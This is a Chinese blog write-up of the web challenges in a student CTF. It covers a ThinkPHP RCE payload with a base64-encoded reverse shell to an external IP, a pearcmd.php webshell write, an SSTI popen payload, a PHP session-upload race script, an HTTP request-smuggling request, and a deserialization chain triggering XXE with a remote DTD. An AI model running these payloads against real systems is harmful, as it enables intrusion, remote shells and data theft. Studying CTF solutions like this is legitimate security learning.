H&NCTF暨考核赛(WEB部分)

总结

这应该是大一的最后一次考核赛了,对自己做的情况挺不满意的,web7道题做出了5道。可能当时有点紧张吧,有点自乱阵脚了。签到题是session文件包含,还有一道文件包含是pearcmd文件包含,天机阁是jwt认证和SSTI模板注入,RCE就是ThinkPHP的一个漏洞,但是过滤了一点东西,那个小游戏就是很简单的json格式传参,还有一道偷偷给shell的题,是Http请求走私和反序列化,但是只做出来一半,没时间了,可惜了。因为写wp的时间有点紧,写的有些草率,就打算重新整理一下,也算是复盘一下吧。

WEB

Chrono Rift

开局就是一个小游戏,要求时间在60秒,得分为30(其实还没反应过来游戏就结束了

image-20260607191154160

很明显的能看到游戏失败后返回的是json格式的键值对,看一下js源码

image-20260607191156663

能看到是POST传参,json格式,并且有一个/api/submit路由,所以直接在这个路由下进行POST传参

1
{"time":60,"score":30}

image-20260607191158923

然后就会有提示是在/api/flag路由下,那就直接修改,就能得到flag了

image-20260607191201785

RCE

一开始就看到了ThinkPHP的页面,还是比较熟悉了

image-20260607191535874

在URL中随便输入点东西就能看到完整的版本号了,题目又是RCE,所以针对性的搜索就能找到文章,里面有poc可以直接利用

参考文章:https://blog.csdn.net/qq_67473072/article/details/131696323

image-20260607191538889

1
2
3
/index.php?s=captcha

_method=__construct&filter[]=exec&method=get&get[]=echo%20YmFzaCAtYyAnYmFzaCAtaSAmPiAvZGV2L3RjcC8xMjAuNTUuMy4xNTcvMjMzMyAwPiYxJw==%20|%20base64%20-d%20|%20bash

过滤了很多东西,试出来exec可以用,但是无回显,需要反弹shell

image-20260607191541269

先在服务器上监听一个2333端口然后再传payload,就能在自己的服务器上弹成功进行rce了

1
nc -lvp 2333

image-20260607191543817

但其实也可以不用反弹shell的,因为还有一些函数没有被过滤,比如readfile()这些,也可以用来读到flag

include

这里可以看到提示说了管理工具题目又是include文件包含,就联想到pearcmd.php的文件包含

image-20260607191546543

pearcmd.php是一个脚本,pear作为php的一个命令行扩展管理工具,具体原理可以去看之前写的pearcmd.php文件包含

payload

1
2
3
?+config-create+/&file=/usr/share/php/pearcmd.php&/<?=eval($_POST[1]);?>+/var/www/html/shell.php

file=pearcmd.php

参数是file,在网页目录下创建一个shell.php文件写入一句话木马

image-20260607191549268

然后就是根据pear传的命令行执行,访问shell.php,利用POST传参执行RCE

payload

1
1=system('env');

image-20260607191551872

天机阁密令

先注册账号以user身份登录,在首页可以看到需要管理员身份,所以想到之后可能需要进行身份认证

看到这个卷宗包含台,发现是一个可以读文件的地方,读文件的话就要联想到常见的/etc/passwd,源码还有环境变量/proc/self/environ

这里就是读取环境变量在里面看到了jwt的密钥

1
/proc/self/environ

image-20260607191554250

1
JWT_FORGE_KEY=khsk3y123

然后抓“阁主预览台”的包,因为页面也说了user身份只能访问包含台,所以这里就可以看到Cookie处有jwt认证

image-20260607191559932

利用jwt工具构造Cookie值

image-20260607191603360

传参后就可以看到预览台的页面了,在这里POST传参template可以回显参数值,就猜测是SSTI模板注入,但是一开始尝试了花括号这些全被过滤了,结果页面中有提示““天下”为开,“无双”为合”,很隐晦,但是又在密令模板上写了格式(虽然一开始都没有看出来

其他的过滤的不算严,popen被过滤了可以用+拼接的方法绕过,然后就行执行rce了

payload

1
template=天下''.__class__.__base__.__subclasses__()[142].__init__.__globals__['po'+'pen']('ca'+'t /flag').read()无双

签到

题目直接说了是session,打开就看到是一个读文件的地方,很显然就是session文件包含,利用条件竞争读到文件

image-20260607191605603

image-20260607191607945

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import io
import requests
import threading

sessid = 'exp'
data = {"cmd": "system('cat /flag');"}


def write(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
resp = session.post('http://114.66.24.210:38055/include.php',
data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'},
files={'file': ('test.txt', f)}, cookies={'PHPSESSID': sessid})


def read(session):
while True:
resp = session.post('http://114.66.24.210:38055/include.php?file=/tmp/sess_' + sessid,
data=data)
if 'test.txt' in resp.text:
print(resp.text)
event.clear()
else:
print("[+++++++++++++]retry")


if __name__ == "__main__":
event = threading.Event()
with requests.session() as session:
for i in range(1, 30):
threading.Thread(target=write, args=(session,)).start()

for i in range(1, 30):
threading.Thread(target=read, args=(session,)).start()
event.set()

偷偷送你个shell

上了hint,说是前端有代理需要绕过,问了ai发现是前后端认证不一致需要通HTTP请求走私来绕过

image-20260607191611693

HTTP请求走私的大概原理就是前后端认证不一致,这道题目中前端是CL(Content-Length),而后端是通过TE(Transfer-Encoding),也就是说在传payload的时候,后端会自动忽略掉CL直接去验证TE,所以这个时候就可以用CL-TE的请求走私来构造payload。所谓CL-TE,就是当收到存在两个请求头的请求包时,前端代理服务器只处理Content-Length这一请求头,而后端服务器会遵守RFC2616的规定,忽略掉Content-Length,处理Transfer-Encoding这一请求头

先在bp抓包,首先需要在设置中关闭“更新CL”,这样CL的值我们就可以自定义了

image-20260607191615313

然后构造payload

1
2
3
4
5
6
7
8
9
10
11
12
13
POST / HTTP/1.1
Host: 114.66.24.210:20642
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
Transfer-Encoding: chunked

0

GET /shell.php HTTP/1.1
Host: 114.66.24.210:20642


因为后端不处理Content-Length: 59,但是处理Transfer-Encoding: chunked,所以将TE放入请求头中,被后端处理,因为是TE请求头,所以后端在遇到\r\n\r\n就会默认请求结束

image-20260607191617801

但是这个payload完整的请求体是

1
2
3
4
5
6
7

0

GET /shell.php HTTP/1.1
Host: 114.66.24.210:20642


但因为后端只处理TE,所以第一个请求体只会识别到

1
2
3

0

而下面的GET开始则会认为是第二个请求头,所以可以通过走私来访问到shell.php,但因为是第二次请求所以需要连续并发才能得到,因此可以将payload发送到攻击器进行连续并发就能得到shell.php的内容

image-20260607191621445

shell.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
<?php

if (!isset($_GET['data'])) {
highlight_file(__FILE__);
}

echo "这都被你发现了,那flag给你了:flag{This_is_a_true_flag???}";

error_reporting(0);

class Start {
public $arg;

public function __destruct() {
echo $this->arg;
}
}

class Middle {
public $target;

public function __toString() {
$this->target->boom;
return "";
}
}

class Gate {
public $a;
public $b;
public $func;
public $var;

public function __get($name) {
if ($this->a !== $this->b && !is_array($this->a) && !is_array($this->b) && md5($this->a) === md5($this->b)) {
$f = $this->func;
$v = $this->var;
$f($v);
}
}
}

class Shell {
public $cla;
public $data;
public $opt1;
public $opt2;

public function __invoke($data) {
$this->data = $data;
$this->run();
}

private function run() {
$c = $this->cla;
if (!is_string($c) || !is_string($this->data)) {
return;
}
try {
new $c($this->data, $this->opt1, $this->opt2);
} catch (Throwable $e) {
}
}
}

include_once dirname(__DIR__) . "/private/waf.php";
waf();

if (isset($_GET['data']) && is_string($_GET['data'])) {
@unserialize($_GET['data']);
}

?>

代码审计,这里是一个php反序列化

突破口应该是在shell这个类中的

1
2
3
4
5
6
7
8
9
10
private function run() {
$c = $this->cla;
if (!is_string($c) || !is_string($this->data)) {
return;
}
try {
new $c($this->data, $this->opt1, $this->opt2);
} catch (Throwable $e) {
}
}
  • private function run():定义了私有方法run()
  • $c = $this->cla;:将$cla属性的值赋给$c
  • if (!is_string($c) || !is_string($this->data)) {return;}:确保$c和$this->data都是字符串
  • new $c($this->data, $this->opt1, $this->opt2);:使用动态实例化,也就是说我们可以用任意字符串作为类名,传入任意参数去实例化它,所以这里就可以调用原生类,因为测试出来过滤了很多,所以只能利用使用SimpleXMLElement打XXE,此时就相当于new SimpleXMLElement($xml_string, $options, $is_url);
  • catch (Throwable $e):Throwable用来捕获一切可能的错误和异常的,Exception和``Error`这两个原生类是它的子类

整个链子来看

  • 先是在Start类中echo $this->arg;将对象当作字符串调用触发了Middle中的__toString()魔术方法
  • Middle中的$this->target->boom调用了一个不存在的属性,触发了Gate中的__get魔术方法
  • Gate中的 $f($v);将对象调用做函数,触发了shell中的__invoke方法
  • Shell$this->run();直接触发了自定义的私有魔术方法,利用new $c($this->data, $this->opt1, $this->opt2);来进行构造

所以整条链子的走向还是很清晰的:__destruct——>__toString()——>__get——>__invoke——>run()

shell类中利用原生类打XXE,还有一个要注意的就是在Gate中的if ($this->a !== $this->b && !is_array($this->a) && !is_array($this->b) && md5($this->a) === md5($this->b)) MD5弱比较可以用Error原生类绕过

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php

//error_reporting(0);

class Start {
public $arg;

}

class Middle {
public $target;

}

class Gate {
public $a;
public $b;
public $func;
public $var;

}

class Shell {
public $cla;
public $data;
public $opt1;
public $opt2;


}

$Shell = new Shell();
$Shell -> cla ='SimpleXMLElement';
$Shell -> data = null;
$Shell -> opt1 = LIBXML_NOENT | LIBXML_DTDLOAD;
$Shell -> opt2 = false;
$Gate = new Gate();
$Gate -> a = new Error("123","1");$Gate -> b = new Error("123","2");
$Gate -> func = $Shell;
$Gate -> var = "<!DOCTYPE x [<!ENTITY % remote SYSTEM 'http://ip/shell.dtd'>%remote;]><x>1</x>";
$Middle = new Middle();
$Middle -> target = $Gate;
$Start = new Start();
$Start -> arg = $Middle;

echo urlencode(serialize($Start));

?>

这里要注意的是利用error原生类需要把两个值放在同一行写

image-20260607191644002

在自己的服务器上需要把shell.dtd文件放在var/www/html目录下,然后监听一个2333端口

依旧是用bp发包

image-20260607191646463

image-20260607191649049

然后base64解码

image-20260607191651129


H&NCTF暨考核赛(WEB部分)
https://colourful228.github.io/2026/06/06/H-NCTF/
作者
Colourful
发布于
2026年6月6日
更新于
2026年6月7日
许可协议